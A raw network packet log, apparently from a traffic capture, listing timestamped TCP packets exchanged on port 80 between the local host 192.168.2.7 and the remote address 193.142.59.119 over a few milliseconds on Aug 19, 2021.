Aug 19, 2021 07:53:39.761419058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761435986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761460066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761467934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761478901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761496067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761511087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761523008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761528015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761550903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761562109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761579037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761603117 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761605978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761631012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761634111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761653900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761657953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761677027 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761689901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761693954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761718035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761729956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761745930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761768103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761769056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761787891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761823893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761826038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761850119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761850119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761882067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761882067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761898994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761909008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761929035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761936903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761945963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761964083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761989117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761996031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762012959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762018919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762042999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762046099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762059927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762072086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762085915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762098074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762110949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762121916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762136936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762150049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762156963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762171030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762202978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762202978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762223959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762233973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.762242079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.762271881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.763762951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.763834000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.763838053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.763885021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.763905048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.763948917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.763952017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.763989925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.763993979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764029026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764029980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764069080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764070034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764110088 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764111042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764148951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764154911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764194965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764197111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764252901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764266014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764307022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764307976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764348030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764373064 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764393091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764394045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764436960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764441967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764487028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764507055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764549971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764549971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764592886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764617920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764635086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764641047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764688969 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764728069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764786005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764790058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764831066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764832973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764872074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764873981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764919043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764919996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.764960051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.764962912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765005112 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765005112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765048981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765055895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765101910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765105009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765167952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765171051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765217066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765218973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765260935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765263081 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765301943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765305042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765343904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765346050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765392065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765412092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765458107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765458107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765497923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765497923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765539885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765541077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765584946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765607119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765654087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765666962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765697002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765718937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765727997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765737057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765759945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765773058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765794039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765803099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765825033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765837908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765856981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765872002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765883923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765892982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765912056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765928030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765939951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765949011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765966892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.765990973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.765997887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766010046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766025066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766050100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766052008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766066074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766079903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766083956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766107082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766119957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766132116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766149044 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766159058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766170979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766187906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766202927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766217947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766218901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766247034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766259909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766275883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766283989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766305923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766319990 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766335011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766346931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766364098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766376972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766393900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766403913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766421080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766438961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766452074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766458035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766482115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766495943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766510963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766524076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766540051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766541958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766570091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766587019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766594887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766606092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766619921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766644001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766654015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766659021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766681910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766697884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766710997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766719103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766741037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766756058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766772032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766782045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766803026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766815901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766834974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766844034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766865969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766877890 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766896009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766906023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766926050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766943932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766958952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.766967058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.766990900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767004967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767019033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767030954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767049074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767059088 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767079115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767092943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767108917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767111063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767158031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767164946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767196894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767209053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767227888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767237902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767260075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767271042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767292023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767301083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767322063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767334938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767353058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767364979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767383099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767394066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767412901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767425060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767446041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767455101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767481089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767491102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767515898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767520905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767550945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767559052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767585039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767594099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767620087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767628908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767654896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767663956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767688990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767699003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767719030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767733097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767750025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767760038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767780066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767790079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767812967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767823935 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767846107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767860889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767877102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767879009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767905951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767926931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767936945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767945051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767967939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.767982006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.767998934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768001080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768034935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768043995 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768069029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768081903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768100023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768110991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768132925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768141031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768166065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768177032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768198013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768209934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768229961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768239021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768264055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768274069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768296957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768310070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768331051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768340111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768362999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768373966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768394947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768408060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768424988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768424988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768455029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768466949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768490076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768497944 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768522978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768534899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768553972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768564939 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768588066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768599987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768621922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768629074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768656015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768666029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768687010 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768701077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768718004 CEST	49738	80	192.168.2.7	193.142.59.119
